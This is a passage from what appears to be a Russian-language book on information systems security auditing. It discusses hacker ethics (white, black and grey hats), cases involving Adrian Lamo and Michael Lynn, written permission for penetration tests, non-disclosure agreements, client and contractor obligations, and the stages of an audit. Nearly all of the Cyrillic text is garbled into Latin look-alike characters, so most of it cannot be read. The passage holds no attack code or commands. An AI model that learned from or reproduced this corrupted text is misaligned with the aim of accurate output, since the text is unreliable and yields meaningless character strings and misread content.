3TUYECKUX TPIHIINTIOB. Belb OTHI 3aHIMMAIOTCST HE3aKOHHOM JIeATeTbHOCTHIO, a IPY-
rre coOJTOAI0T MPUHATHIE HOPMBI. Ho Ha caMoM jiesie TJIaBHOE OTIHYHE <«UePHBIX>
OT «OeJIbIX» COCTOUT B MOJYYCHUH pasperieHus. «epHbie»> 3aHUMAIOTCST B3IOMOM
u niporukHoBenneM B IC 6e3 kakoro-nmubo cornacoBanmus, a «Gesibie» JeJaioT 3T0
C paspeleHus BIaIebIla CUCTEMBI.

B manHoM KOHTEKCTE CTOUT YIOMSIHYTH uctopuio Anpuana Jlamo (Adrian Lamo).
Ou B3amMbIBas THGOPMAIMOHHbIE CHCTEMbI OPraHu3aIinii 6e3 X BejoMa 1 COTTIacHsl,
HO KasK/IbIil pa3 11ocJie yIaYHOTo TPOHIMKHOBEHUS CO3/[ABAI [TOAPOOHBII OTUET O CBO-
eit pabote 1 otmpasJsii ero Baagenabiam MC ¢ peKOMEHIAIMSIMU 10 YCTPAHEHUTO
HeztocTaTkoB. M Bee ke, HeCMOTPsI Ha MHOTOUNC/ICHHbBIE OJ1ar0apHOCTH, MIHPOKOE
TIPU3HAHIE B OTIPE/IETIEHHBIX KPYTaX U ITHIHOE TIOBE/IEHTIE, eMY He YIaT0oCh n3beKaTh
YTOJIOBHOTO IIPEC/ICJIOBAHUS U PEAJIbHOTO TIOPEMHOIO CPOKa. JTOT CJIyYail JeMOH-
CTPUPYET, YTO Jjaske «4epHble HLIAIbI» MOTYT JelCTBOBATh TUYHO.

[[JIE[ HEKOTOPbBIX CIIENUAJIMCTOB BOIIPOCHI 9TUKW OCTAIOTCA CKYYHBIMU W HEIIOHAT-
HbIMU, N3BECTHBIMU JINIIH U3 HpCSCHTaHI/Iﬁ NJIn B€6I/IHapOB, OJQHAKO JJId TeX, KTO
OTHOCHUT ce0sT K Kareropmumn «besTbIx HIJIAI», OHN ABJIAIOTCA (byHIIaMeHTaJIbeIMI/I.
«bembie mIABI> HE TOJBKO CTaparTca CO6JIIO]_IaTb ITUYECKUE IIPUHIIUIIBI, HO 1 aK-
TUBHO IMTPOABUTAIOT CBOU U/IEU B O6HI€CTB€.

Taxk, Koncopiiuym unrepuer-cucreM (Internet Systems Consortium) — oxna u3
OpraHU3alNii, 3AHMMAIOIIUXCS BOTIPOCaMU HHMOPMAIIMOHHON 6e301MacHOCTH, —
oIpejieisieT OCHOBHBIE 9THYECKIE KAHOHBI CJIEAYIONINM 00pa3oM:

e 3zamuiaiire o61iecTBo, oO1ecTBEHHOE 6J1aro, 001IecTBEHHOE JoBepre U nHdpa-
CTPYKTYDY;
® JIeliCTBYIITE YeCTHO, CIIPaBeJINBO, OTBETCTBEHHO U 3aKOHHO;
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® BBINOJHSIIITE CaysKeOHbIe 00I3aHHOCTH JOOPOCOBECTHO 1 TIPO(ECCHOHATBHO;

® pasBuBaliTe U 3amuinaiTe mpodeccuio.

Heobxonmmo Beeria CTaBUTh BOMPOCH 9TUKHU BO TJIABY YIJIa; BaM 4acTO MPUAETCS
JeJaTh BBIOOP, OCHOBBIBASICH UCKIIOYNTENBHO Ha BHYTPEHHEM UyBCTBE CIIPABE]-
JIMBOCTH, U K COKAJNEHMIO, He BCEr/Ia NPaBUIbHbBIA BHIOOD GyeT CaMbIM ITPOCTHIM
U yIOOHBIM.

YepHble wnanbl

B cdhepe B «yepHbIME MITSATTaMU» HA3BIBAIOT TEX, KTO MTPOHUKAET B WH(MOPMAIH-
OHHbIE CHCTEMbI G€3 TT0JIyYeHUsT TIPEIBAPUTETLHOTO coryiacusi. HeKoTopble aemaT
9TO 10 (PUHAHCOBBIM COOOPAKEHUSIM, KTO-TO U3 CHOPTUBHOTO HHTEpeca — IPUYNH
Ha CaMOM JIeJTe MOKET OBITh MHOTO, ¥ HE CTOWT BCET/Ia CBOAUTH MOTHBAIIMIO JIUIITH
K OJIHOU U3 HUX.

YacTo carydaeTcs Tak, 9To IeWCTBYIONINE HA TEPPUTOPHUN OJTHON CTPAHBI B PAMKAX €€
MIPABOBOTO MOJIST CIIEIMATUACTEI 110 VIB MOTyT mpu 9TOM HapyIaTh 3aKOHOAATEIBCTBO
APYTOii cTpanbl. B aTOM cirydae ux eficTBYsI Bce PABHO OY/IYT CUNTATHCS HE3AKOHHBI-
MM ¥ MOTYT TIOBJICYb CEPHE3HBIE TIOCTIEACTBUS. ITO XOPOIIO WILTIOCTPUPYET CIIydaii
¢ imurpuem CristposbiM. Ero pabota 6biia cBsizana ¢ 06X0/I0M METO/IOB 3all[UThI
AJIEKTPOHHBIX KHUT, pazpabotanHoii kommnanueit Adobe. IMuTpuii ObL1 apecTOBaH 110
npuessie B CITTA Ha KoHbepeH o 110 HHOOPMAIIMOHHON GE30IIaCHOCTH, TaK KaK €ro
MEMCTBYST HAPYTITIIN 3aKOHBI ATOH CTPaHb! (HECMOTPS HA TO, YTO TI0 3aKOHY CBOETO
TOCY/IAPCTBA OH He CUUTAIICS MTPECTYITHUKOM).

Wuoraa MOKHO CTaTh TPECTYIMTHUKOM, JIasKe BBITIOJIHSS BIIOJIHE 3aKOHHbIC I€HCTBUS.
B HEKOTOPBIX KOMITAHUAX €CTh CHEIUAJbHbIE TTPOTPAMMBI, KOTOPBIE TIO3BOJISIOT
OCYTIECTBIISITH TOUCK YSI3BUMOCTEN (€3 MPeIBAPUTETHHOTO COTITACOBAHS, HO U TYT
He Bce Tak mpocto. Matiks Jlumna (Michael Lynn) marmen ysi3BUMOCTD B TPOAYKTE
koprioparuu Cisco 1 XoTeJs peICTaBUTh ee Ha o/HOI 3 KoHpepennnit mo Nb.
Korna npescraBurein KOMIAaHUU Y3HAIU 00 9TOM, OHU TIOJAJIM HA UCCIIEI0BATEs
B CY/I C I1€JIbIO 3aITPETUTDh €My BBICTYHATh ¢ TAaKUM J0oKJaagoM. HecMoTps Ha 710-
CTUTHYTOE COTJIAIIICHUS, OH BCe JKe BBICTYIINJ ¢ 3alIaHupoBanHon TeMoii. [Tocie on
HOJTY I CyIeOHbIIT 3arpeT Ha JajibHeliliee pacKpbITre MH(OOPMAIIUE O TI0JIyI€HHOIM
VSI3BUMOCTH. TyT MBI OIISITh CTAIKUBAEMCST C ATHIECKUM BOTIPOCOM — CUUTATH €TO
3JIOYMBITIIJIEHHUKOM UJTH HEeT?

Takske U3BECTHBI CJIyYau, KOT/Ia TIOCJIE YCIIENTHO TPOBE/ICHHBIX aTakK, HAI[eJIeHHBIX Ha
nporukHoBene B VIC, crenuamicTaM yaaBasoch n3beskarh cyaeGHOTo TpeciesoBa-
HUS U OHU YCTPAUBAJINCh HA XOPOTIIO OTJIAYMBAEMbIe JIOJKHOCTH.

TpyaHOCTH € TOYHON KTaccuduKkaryeil 06yCIOBICHBI TEM, YTO B €€ OCHOBY MOJIOKEH
NpU3HAK, 110-Pa3HOMY OlleHUBaeMbIi ¢ Pa3JIMYHBIX TOUeK 3peHus1. B aToil kHure
OCTAHOBMMCSI HA TOM, UTO «4epHBbIe IIJISAIBI» — 3TO Te, KTO COBEePIaeT He3aKOHHbIE
JIEHCTBUSL.



12 Mnaea 01 e O6wwme cBeaeHus 06 ayaute MHPOPMaLIMOHHBIX CUCTEM

benble wnansl

B nopassistioreM GOIBIIUHCTBE 9TO CHENUATUCTI, KOTOPBIE OCYIECTBISAIOT ay/UT
6e30macHOCTH HHMOPMAITMOHHBIX CUCTEM TIO TIPEBAPUTETHHOMY COTTIACHIO 06enX
CTOPOH, IO/l KOUM OOBIYHO MOIPa3yMeBAETCS TPYAOBOIL JOTOBOP HMJIU JIOTOBOP Ha
oKazanue ycryT. Bce 3aKOHHO 1 He CBSI3aHO € KaKMMU-JTNO0 STHYECKUMHU TITH TIPABO-
BBIMU KOH(DITMKTaMU.

Muorux 60JIbIle BCETO MHTEPECYET BOIIPOC, KTO JKe 00JIajaeT JIydIinMI HABbIKAMU
B3JIOMA U TPOHUKHOBEHWST — «OeJIbIe MIJISITTBI» W «9ePHbIe» ?

Ha camom gesie He Bee Tak mpocto. OOBIYHO Te, KTO 3aHIMAETCST 3aKOHHBIM ayIHTOM,
Gosiee ipodeccrnorabHbL. YacTo 9T0 COTPYAHUKH KPYTHBIX (DUPM MM KOMITAHWiA,
CTIENUATN3UPYIOMUXCS Ha TpefocTaBaennu yeayr B obaactu T u B, koTopbie
MOTYT BKJIAJBIBATH CPECTBA B 00yUeHIe cBOMX paboTHUKOB., Clie[0BaTeIbHO, OHU
MOJIYYAIOT IOCTYTI K JIYYITUM MaTepruaiaM U ¢ HUIMHU PabOTAIOT OTIBITHBIE HHCTPYKTO-
pbl. Takike y «OeIbIX US> €CTh BOBMOKHOCTD Ha IIPAKTHKE MO3HAKOMUTHCST C Pas-
JIUYHBIME TIPOIyKTamu obecrieunBaionux VB koMmanuii, mpoTecTupoBaTh HOBOE
060pyIOBaHKE U TPOTOKOJIBL.

OmHaKko 1 Ha HUX HAKJIQ/IBIBAIOTCS OTIpe/leIeHHbIe OTpaHNYeHNUs. Bo-TepBhIX, Kak
yKe YIIOMUHAJIOCh, OHU CBSI3aHbl 3THYECKUMU U IIPAaBOBbIMU HOpMaMu. Bropoit
MOMEHT CBSI3aH C TEXHUYECKUMU acTiekTaMu. HacTo BBITTOJIHEHNWE TeCTOB Ha TTPO-
HUKHOBEHUE MOKET IPUBECTH K MOTEPE TaHHBIX, OTKA3y B OOCTYKUBAHUU U JIPYTUM
HEMPUATHOCTSIM, CIIOCOOHBIM TTAPATH30BaTh PaboTy MpeanpusTusa. B ¢Bsasu ¢ aTnm
«BeJTble TISATBI» HECKOJIBKO OTPAHIIEHBI B METO/IAX U He BCET/Ia UAYT 0 KOHTIA.

Cepble wnanol

Kax yske ObLI0 CKa3aHO, OTHECEHHE CIEIUAICTA K TOW UM MHOU KaTerOpHK MHOT/IA
3aBUCUT OT TOUKH 3PEHUSL. ITO CIIPABE/JIMBO M B OTHOLICHUM «CEPbIX NIy, Takue
CIIEIUATUCTBI TIO0 GOJBIIEN YacTh JEHCTBYIOT B PAMKaxX 3aKOHA, HO MHOT/Ia MOTYT
HE3HAYUTEJbHO BBIXOAUTH 3a €To Ipe/esbl. Tak, HeKOTOpble CIeUaNNCThI MOTYT
OCYIIECTBJISITH B3JIOM KOMMEPUECKOro porpamMmmuoro obecrieuetust (I10O), Ho gesator
ATO He JIJIs U3BJICUEHUS TIPUOBLIN UK TYOJIUKAIIUU PE3YJILTaToB cBoei paboThl. Bot
TaKMX CIEIUATMCTOB U MOKHO OTHECTH K JAHHOH KaTeropuu.

B3nom vnn ayaut?

Pa3 y:k MbI HauaJu TOBOPUTH O TEPMUHOJIOTUHU, 3aTPOHEM €Ille OJINH TEPMUH —
«B3JI0M». B3j10M — 9TO He3aKOHHOE TPOHUKHOBEHUE B CUCTEMY, TOT/Ia KaK TECT Ha
MPOHUKHOBEHWE — 3aKOHHOE JieficTBre. KoHeuHo, 9TO /ieJieHre YCI0OBHO, Bellb BCE
3aBUCUT HE OT TEPMUHOJIOTHH, & OT TOTO, B KAKOM KOHTEKCTE MTPOUCXOIUT JaHHOE
JIeHICTBHE.

A BOT ayauT I/IH(l)OpMaHI/IOHHbIX CHUCTEM CHUJIbHO OT/IMYACTCA OT B3JIOMa U /JaKe OT
TeCTa Ha IMPOHNKHOBEHUE. BO-HepBbIX, TMOHATHUE ayaAuTa MIPUMEHNMO TOJIBKO K 3a-
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KOHHBIM JIelicTBUSIM. BO-BTOPBIX, ecyiv TecT Ha TPOHUKHOBEHME O3HAYAET TIOUCK
YSA3BUMOCTH U €€ TI0CJIEYIONLYIO 9KCIIyaTalluIo, TO ayIUT IIpelyCMaTpUBaeT IIOMCK
1 BO3MOSKHYIO KCILIyaTalllio BCeX HAMIEHHBIX ayJIUTOPOM ysa3BUMocTell. TecTsl
Ha TPOHUKHOBEHHUE 03HAYATOT, YTO XaKep M3HAYaIbHO HUYETO He 3HAECT O BHYTPEH-
Hell ceTy IpeANpUATIs — TaK HadblBaeMblil MeTog uepHoro sinka («Black Box»).
B ayzauTe mpesycMOTPEHbBI METObI KaK «UEPHOTO SIIHKA», TAK U «OeJIOr0 SIHKa»
(«White Box»), korjga ayAuTop moJaydaeT AOCTYN K KOHGUTYPAIUU U TTOJHON
undopmaiuu 060 Becex MC npeanpusitst. B 1aHHON KHITE PACCMOTPEHBI TOJBKO
MeTtozbl «Black Box».

ABTOD HajieeTcs, UTO YnuTATETH OYLYT UCIOTB30BaTh MH(MOPMAIIUIO U3 TAHHON KHUTH
TOJTBKO B 111X 3akoHHOTO0 B3sioma M C. [Toxkamyiicta, moMHUTE O HEOTBPATUMOCTH
HakasaHus — J00ble He3aKOHHBIE JeCTBUS BJIEKYT 3a OO0l YTOJOBHYIO MU -
MUHUCTPATUBHYIO OTBETCTBEHHOCTb.

Pa3pelueHne Ha B3/10M

Bbl yske HaBepHsIKa 3alMHTEPECOBAINCH BOIIPOCOM, a MOKET JIM B3JIOM OBITh 3aKOH-
HbIM? KoHeuno moskeT! 3aKOHHBIM B3JI0M MHPOPMAIIMOHHBIX CUCTEM SIBJISIETCS
B HECKOJIBKUX CJTy4asX:

® BbI B3J/laMblBaeTe IIpUHA/JIeKallie BaM I/IC,

® ayauT uHOOPMANMOHHON 6€30MaCHOCTH CETH MPEAIPUITUS BXOAUT B BallK
MOJKHOCTHBIE 00SI3aHHOCTH;

® BbI B3J/laMbIBa€Te€ CETb OpraHmusalimnu, ¢ KOTOpOﬁ Yy BacC 3aKJ/IIO4Y€HO IMMCbMEHHOE
COTJIalllIeHWE O IMPOBEACHNU ay/InTa NJIN TECTOB Ha IPOHUKHOBEHUE.

[ToCKOJIbKY B MEPBBIX JIBYX CJIYYAsIX BCE JOCTATOYHO IIPOCTO, MBI He OY/IEM 3a0CTPSITh
CBOE BHUMAHUE Ha X PACCMOTPEHNUH, a Pa3OepeMcest CO cirydaeM, KOT/a BAC HAaHMMAKOT
ISt TIpoBeieHust BHernHero ayauta IC. B 910l cutyaiuu nepes HadyaaoM paboT Bbl
JIOJKHBI Oy/IeTe 3aKJII0UUTh HECKOJIBKO COTJIAlIeH T, KOTOPbIE M PACCMOTPUM TIO/I-
pobree.

CornalueHve o Hepasr/ialeHnn

Cxopee Bcero, BbI YK€ BCTPEUAIHNCH C TAKUM TUTIOM JOKyMeHTOB. OCHOBHAS €TO
CYTb 3aKJIIOYAETCS B TOM, UTO BbI 06513y€eTech He pas3riianiaTh J00yio HHhOpMAIInio,
MOJTYYeHHYIO B X0/1e mpoBejietus ayauta VC 3akazunka. OGBIYHO 9TO OTHOCUTCS He
TOJILKO K MPOMEKYTKY BPEMEHH, B KOTOPBIN TPOBOJAATCS PabOTHI, IEiiCTBUE TaKUX
COTJIANIEHWI MOJKET pacTsAruBarbes Ha gecaTuietusd. Coriamenns MOTYT TaKxKe
CO/IEPIKATH CIEIUABHBII TYHKT O XpaHEHUH, 06paboTKe U METOIAX YHUUTOKEHUST
JAHHBIX. ByBTE TOTOBBI K TOMY, YTO BaC MOTYT MOTIPOCUTH YHUUTOXUTD CIIEIIAATH-
HO OrOBOPEHHBIM METO/IOM KeCTKHe JIUCKY, Ha KOTOPBIX XpaHusuach uHdopmalus,
U [IPEJIOCTABUTH TOMY JJOKyMeHTaJbHOe oATBep:kAeHne. ClpaBeInBOCTH pajiu
CJIeJIyeT CKa3aTb, YTO 3TO CKOpee UCKII0UeHNe, HEKEeH MTPaBUIIO.
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[Tox meficTBUE ATOTO COTATIEHNUST MOAMAMATOT AOCOMIOTHO BCe MHPOPMATTHOHHbIE
MOTOKH, KOTOPBIE CO3/IaBAJIMCH B XO/I€ Balllell paboThl. ITO PACIPOCTPAHSAETCS Ha
CHUMKH 9KPAHOB, TI0/ITOTOBJIEHHYIO JIOKYMEHTAIINIO, BKJII0Yasl BCe YePHOBUKHU, NCTO-
PHIO KOMAH/THO CTPOKH, KOMMYHHUKAIIH T10 3JIEKTPOHHOI 1T0YTE, JIFOObIE JIOKYMEHTHI
(¢hunanCOBBIE OTYETDI, MAPKETUHTOBbIE TIJIAHBI, KOH(MUTYPAIIMOHHbBIE (DANJIBI 1 T. 11.),
ITOJIyYCHHBIC BAMU B XO/I¢ TCCTUPOBAHUS WX ITEPETAHHBIC BaM 3aKa3YMKOM, A TAKIKE
MHOTOE JIPYTOe€.

[TonpoOyiiTe mocTaBUTH cebs Ha MECTO 3aKa3dylKa. Bbl HAaHUMaeTe KOMAaHIY CIIEIH-
AJINCTOB, KOTOPast MPOHUKAET B Ballly CETh PA3HBIMU CIIOCOOAMHU, MOJYUAeT MpaBa
AJIMUHUCTPATOPA B Ballleil CUCTEMe U IOCTYT K BHyTpeHHei nadopmarmu. Ha pas-
rJIalieHe Kakoi 0N JaHHBIX BBl MOTJIN OBI IaTh COTJIacKe?

Obs3aTtenbCcTBa 3aKa34dmKa

B pannom paszelie nponucano, 4To, KakiuM 00pa3soM U Kak JT0JIKEH JIe/1aTh 3aKa34nK
BO BpeMsI JIEMICTBUS HTOTO AOrOBOpa. H 7151 KOro He CEKPeT, 4TO 3aKa34UK BCTIECKI
OyzeT crapaTbes obeperath cebs U IIOJIyYUTh OT BaC MAKCUMYM 3a CBOU J€HbIHU, —
9TO HOPpMaJbHO. HOMHI/ITC, YTO BbI BCer/a JOJIKHBI BHUMATE/JIbHO YUTATh BCE, 4YTO
cobupaeTech MOAINCATD, U Y BAC €CTh IIOJHOE TIPABO HE COTVIAIIATHCS HA BBITOJHEHNE
paboT, KOTOpbIE HE TIPUHECYT BaM KaKoi-1nb0 BBITObL V3 Ballero corpyaHudecTBa
Kask/lasl CTOPOHA [OJIKHA U3BJIeUb JJIs ce0sl 110JIb3Y.

He crout yauBisThCS TOMY, YTO B TAKUX JIOTOBOPAX BBl BCTPETUTE WHMOOPMAITUIO
0 TOM, KakKuM 06pa3oM OyzeT MPOMCXOAUTh Ballla paboTa U Kak 3aKa3uyuk OyeT 3a
Bamu HaOmoaaTh. CaMblil IIPOCTON c110c06 — cOOp 3ammceil ¢ Baleil CTOpoHbl U CO
CTOPOHBI 3aKa3unKa 000 BCeX BalInX AeiicTBusx. Takum 00pasoM 3aka3dyuk OyIeT cra-
PaThCst OTpagyTh ceOst OT BO3MOKHBIX PUCKOB YTeUKN HH(MOPMALIUI, a B CIydYae, eCJI
BO BpeMsl TECTOB IIPOU30iizieT cO0l B cucTeMe, OH Oy/IeT 3HaTh, KTO 32 3TO OTBETCTBEH.

Jlpyrum crocob6oM 3aluThl siBjsietcs Habsoaernne. Korma Bbl Oyiere pOBOANTS
AyIUT B IIOMEIEHNH 3aKa3uiKa, K BAM MOTYT [IPUCTABUTH CIIEIMAIbHO 00YYEeHHOTO
yesioBeka. He cTOUT BOJTHOBATHCSI, Y TAKKMX JIFO/IEH HET 1€ CKOMITPOMETHPOBATH BaC
WJIW Y3HATH CeKPEThI Bamieil paboTel. OOBIYHO OHU CJIEAT 32 TEM, YTOOBI BbI HEHAPO-
KOM He I[OJIyYMJIN JIOCTYII K TOH nHMOpMaIiK, KOTOPasi MOKET CYUTATHCSI CEKPETHOIA.
N s1o kacaercs ve Tobko MC — Hanpumep, BbI CIYYIaiHO MOKETE CBEPHYTDH HE Ty/la
U [onacTh B KOHGepeHI[-3a, rae obcyxkaaoTes Oyayime busHec-crpareruu. Tlioc
B HAJIMYUU TAKOTO COMPOBOXKAAIONIETO 3aKJII0UAETCS B TOM, YTO €CJIU Bbl Hal/ieTe
KPUTHYECKYIO YSI3BUMOCTD, KOTOPYIO, Ha Balll B3IJIsIjl, CTOUT UCIIPaBUTh Oe30TJ1a-
raTeJbHO, Bbl MOXKETE Cpa3y COOOINTD emy 06 9TOM — HeoOXOUMbIe JIeHCTBUS IO
yCTPaHEHUIO0 HAUHYTCSI TOPasio ObICTpee.

WHoraa GbIBaeT U Tak, 4TO 3aKa34MK 00SI3yeTCsI TIPEOCTABUTH BaM BCE HEOOXOIMMOE
o6opyI0BaHue U TPOrpaMMHOe 0becTiedeH e 3a CBOiT cuet. M 9To He MOTOMY, UTO BbI
eMy IIOHPABUJIMCD U OH XOUeT KYIIUTh BAM HOBBIM KOMIIBIOTEP B CYET ellle He BBINOJI-
HEHHOU PaboThl — BCe KYIUIEHHOE, K COKAJIEHUIO, OCTAETCS B €10 COOCTBEHHOCTH.
ITO /leaeTcs B TeX CIydasX, KOT/Ia BB IPOBOIUTE Ay/INT B TIOMEIIEHUSAX 3aKa3UNKa
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1 MOJKETE BBIIIOJIHATD pa60Ty TOJIBKO Ha ITPpUHA/IJIEKAIIIEM 3aKa3YNKY O60pyIIOBaHI/II/I,
KOTOPOE HE NOJIKHO ITOKH/IaTh CTEHbBI Oprann3alinu.

B aBTOPUTETHBIX NCTOYHUKAX YIOMUHAETCS (XOTS caM aBTOP C OTUM He CTaIKH-
BaJICs ), YTO B HEKOTOPBIX CJAYYasAX 3aKa39MK HE TOJHKO HACTAMBAET HA MPOBEICHUH
ayiuTa Ha NpUHALIEKAIIEM eMy 000pyI0BaHUN, HO TaKKe 3alPENIaeT IPOHOCHUTD
¢ co6oii Jirobble yCTPOHCTBa, KOTOPBIE MOTY 00€CIeYnTh XpaHeHe, 00paboTKy UK
nepejady AaHHBIX.

Obsa3aTtenbcTBa UCNOJSTHUTENS

IMomumo TpeboBaHUil COOTIOIEHUST BAMU KOHPUAEHIINAILHOCTH B OTHOIIEHUN
TAHHBIX 3aKa34NKa, B COTJIANIEHNN TaKKe MOXKeT CO/Iep:RaThCsl MH(MOPMAIINST O TOM,
KakiM 00pa3soM BBl MOKETE PACTIOPSIKATHCS TIOJTYUYeHHBIMU JTAaHHBIMU U KOMY BbI
MoskeTe uX mepegaBarth. OOBIYHO 9TO TOAPAZYMEBAET, YTO BBI JOJKHDI TEPeIaTh
PEe3yJIBTaThI Balieil paboThl OTPeeIeHHOMY KPYTY JHI[ (9TO MOTYT ObITh Ha3HAYEH-
HbI€ COTPYHUKU U PYKOBOJCTBO MPEANpuATHs ). Kpome TOro, B HEKOTOPBIX CIydasix
M0OABIISIETCS TIYHKT, B KOTOPOM OTOBAPUBAETCS, KAKUM TPETHUM CTOPOHAM U KAKYIO
nH(pOpPMAIIIIO BBI MOKETE TIePeIaBaTh.

OrHecuTech K 3TOMY BHUMATEIBHO U BCer/ia IpoBepsaiiTe MHMOOPMAIINIO O TOM, KOMY
BBI IiepejiaeTe annbie. YacTo ObIBAET TaK, YTO ay/INT 3aHUMAET HECKOJIBKO MECSIIEB,
a 32 9TO BPEeMs YeJI0BEK, KOTOPOMY BBI JIOJKHBI TIepe/laTh JaHHbIe, MOSKET CMEHUTD
MecTo paboTor. [ToaToMy, YTOOBI He HAPYIITUTD COTJIANIIEHNE O HEPA3TIAIIeHuH, yoe-
JITECH, YTO OH /IO CUX TIOP SBJSIETCS COTPYIHNKOM OPTAaHU3AI[NH U Y HETO BCe elle
€CTb IIPABO JI0CTYIIA K TON nHbOpMaIi, KOTOPYIO Bbl XOTUTE €My IIepeaTh.

YacTo B 9TOM MyHKTE Takke OyIyT OTOBapuBaThCA AEHCTBUS, KOTOPHIE BbI MOKETE
WM He MOJKETe TIPOM3BOITD BO BPEMs BBITOJNHEHN 3aKka3a. Hanpumep, Bam MOryT
3alIPETUTH CO3/IaHIE HOBBIX TI0JIb30BATEEl B CHCTEME, OTOBOPUTD, KAKMMHU CIIOCO0Ga-
MM BbI MOKET ayTeHTU(UIINPOBATHCS, K KAKMM JAHHBIM BbI MOKET TTOJYYHUTh JOCTYTI
1 muoroe gipyroe. CKopee Beero, Bam OyIeT 3alpeleHo UCII0JIb30BaTh JTI00ble BUPYChI
1 IPyTHe BPEAOHOCHBIE TPOrPAMMBI, & TAKKE TPOBOMTH ATAKH, CIIOCOOHbIE BbI3BATH
OTKa3 B 00CTyKUBAHWUH.

Ecau sxe BBI He BUNTE BHITIIEOMMCAHHOTO B IOTOBOPE, TO HE CITENITNTE PAIOBATHCST —
BIIOJIHE BOBMOJKHO, UTO, TIOJIINCAB TAKOU JI0r0BOP, BbI ToABEPrHeTe cebst prcky. Yacto
OIMCaHKe BCETO BHIIIECKA3AHHOIO 3aMEIAeTCs AEKYPHBIM «BCe HeOOXOIMMBIE Ieli-
CTBHUsI», 8 9TO B KayKJIOM CJIy4ae MOKHO TPaKTOBaTh 110-pasHoMy. Harpumep, 6b11o Jiu
HCIIOJIB30BAHME IKCILIONTA HEOOXOAMMBIM JieiicTBueM? Bbl cunraere, 4To /14, a BOT
3aKa3YMK MOKeT MMeTh COBEPIIEHHO JIPyroe MHeHne Ha 9ToT cyeT. He moskaseiite
CBOEr0 BPEMEHHU U 3apaHee OTOBOPUTE BCE KaK MOKHO OOJIee JeTalbHO.

AyanT N MOHUTOPWUHT

B xonTekcTe 1oroBopa 06 UCTIOHEHUH YCIIYT MMEETCsI B BULY HE ayIUT MHPPACTPYK-
TYPBbI BaIlIETO 3aKa34KMKa, a MMEHHO ay/IUT BAIlTMX CUCTEM, 11eJIb KOTOPOro — yOeuTh-
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Csl, UTO YCJIOBHUSI IOTOBOPa He HapyieHbl. OOBIYHO 3aKa3UMK XOUET YOCTOBEPUTHCSI
B TOM, 4TO JIaHHbBIE, KOTOPBIE BBI MIOJTy4YaeTe, XpaHsaTest u o6pabarsisaiorcst B Gesonac-
HOM MECTe, a KaHAJIbI TIepeiaun HaIeXKHO 3aiuiieHbl. KiauneHT xouer ObiTh yBEpeH,
4TO BamIa 1abopaToOpus MpeacTaBsieT codoii 00pasoBoe pabouee Mecto B mtane b,
BbI JK€ B 9TOM Pa3bupaeTech, He TaK Jii?

[To MOHUTOPUHTOM TaKIKe TIOJIPa3yMeBaeTCsl, 4TO OY/IYT CJAECAUTH UMEHHO 32 BAMU
U BallUMU JCHCTBUAMMU. 3aKa3unK XOUET OBITh YBEPEH, YTO BbI COOIIONAETE YCIOBUS
JIOrOBOpa 1 He IIPOM3BO/INTE HUKAKUX AeHCTBUI, He ITPeyCMOTPEHHBIX IOANINCAHHBIM
coryamenreM. OHAKO yYTUTE, 9TO HE BCET/IA BBl CMOKETE JIEHCTBOBATH B PAMKAX
YCTAHOBJICHHBIX COTJIAlieHuil. BOSMOKHBI U CJIyuau, KOTa Bam OyIeT HeoOX0IUMO
MIPOBECTHU He TPeyCMOTPEHHbIE COTJIAIEHEeM NI He OTOBOPEHHbBIE 3apaHee Mepo-
npuaTus. Beerja corsacoBpiBaiite X niepest nposesienrieM. Ilomuure, 4To ycTHbIE 10-
TOBOPEHHOCTH MOTYT HIYETO He 3HAUNTh, BbI BCET/la JOJLKHBI TOJIYYNUTD ITOITACAHHOEe
paspettetue. YToObl 5TO He PEBPATUIIOCH B TOJIOBHYIO GOJTb 1 HE 3AHUMAJIO MHOTO Bpe-
MEHH, 3apaHee 0OTOBOPHTE ¢ 3aKa3UUKOM TIPOIIELYPY TONYIEHUST TAKIX Pa3PEelIeHI.

Pa3peLueHne KOH(INKTOB

Pasnorsacust — 00bIMHOE €10 IPU IPOBEACHUN JIOObIX PabOT, U MHOI'ME U3 HUX
MO>KHO PENIUTH B TpoIlecce TTeperoBopoB. Bo3aMokHO, BaM He yal0Ch BBITTOJTHUTH
YacTh 3a/a4 M3-3a TEXHUYECKUX orpanndennil. Takske ObIBain ciydan, KOraa Hejo-
BoJsbHble 1 T-CrennaaucTsl IbITaIUCh IPUKPHITh HELOCTATKU CBOEl paboThl Heii-
crBuem M B-ayanTopos, — Oyjbre TOTOBBI U K 9TOMY.

Opnako B ciyyae, KOrjia CTOpOHbI He MOTYT JIOTOBOPUTbLCS, IIPOLIe/ypa PadpelieHus
CIIOPOB IIEPEXOANT Ha HOBBIH, yiKe I0puindeckuii ypoBeHb. IloaToMy BHUMATEIBHO
OTHECUTECH K 9TOMY TTYHKTY.

Mopsiaok NpoBeAeHUs ayauTa

JTio60ii npodeccronal 1o nHGOPMALMOHHON 6E30aCHOCTH X0UYeT 3aHUMATLCS CBO-
UM JIIOOMMBIM JI€JIOM Ha 3aKOHHBIX OCHOBaHMsAX. Yallle BCero Takue J0IU SBJSIOTCS
YacThi0 KOMAaH/IbI, IIPOBO/SIIEN KOMIIJIEKCHBIN ayauT 6e301acHOCTH HH(pOPMAIU-
OHHBIX CHCTEM MPEANPUSATHI; Peke OHM YCTPAMBAIOT TECThl HA MPOHUKHOBEHNE
B MHIVBU/YAJIbHOM IIOPSKE.

Y1065l OBITH YBEPEHHBIM B IMTPABUJIbBHOCTU 1 3aKOHHOCTU CBOUX Z[ef/,ICTBI/HL/,I, Hpod)ec—
CHOHAJI JIOJIZKEH CO6]IIOZ[aTb cjeaytouime rnmpaBuJja:

® [10JIy4aTh OT KJIMEHTA MUCbMEHHOE pa3pellleHure Ha IPOBEICHUe TeCTOB Ha IIPOo-
HUKHOBeHUe min ayanta NC,;

[ ] CO6JIIOZI3.TI) CorJiallieHreE O Hepa3rJlallleHUN I/IH(I)OpMaHI/H/I;

® TapaHTHPOBATH, YTO HUKAKast MH(MOPMAIIUS, TIOJYIEHHASI BO BPeMsI PAOOTHI ¢ KJIH-
€HTOM, HUKOT/Ia He CTaHeT N3BEeCTHON IPYTUM JINIaM;

® T[IPOBOMUTH BCE TECTHI, COrJTaCOBaHHbIE C KJIMEHTOM, U HUKAKUE IpyTrue.
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AleI/IT I/IH(I)OpMaHI/IOHHbIX CUCTEM O6BILIHO IIPOXOAUT B HECKOJIBKO 9TAIlOB:
BCTpEYa ¢ KIIMEHTOM, OOCYKIIEHHUE TIeJIEH U CPEJICTB;
IO CaHre JOTOBOPaA O HEpa3rIallleHnn I/IH(l)OpMaLII/H/I;

Tnoarnuncanune 10roBopa 00 oKazaHuu yCiayr;

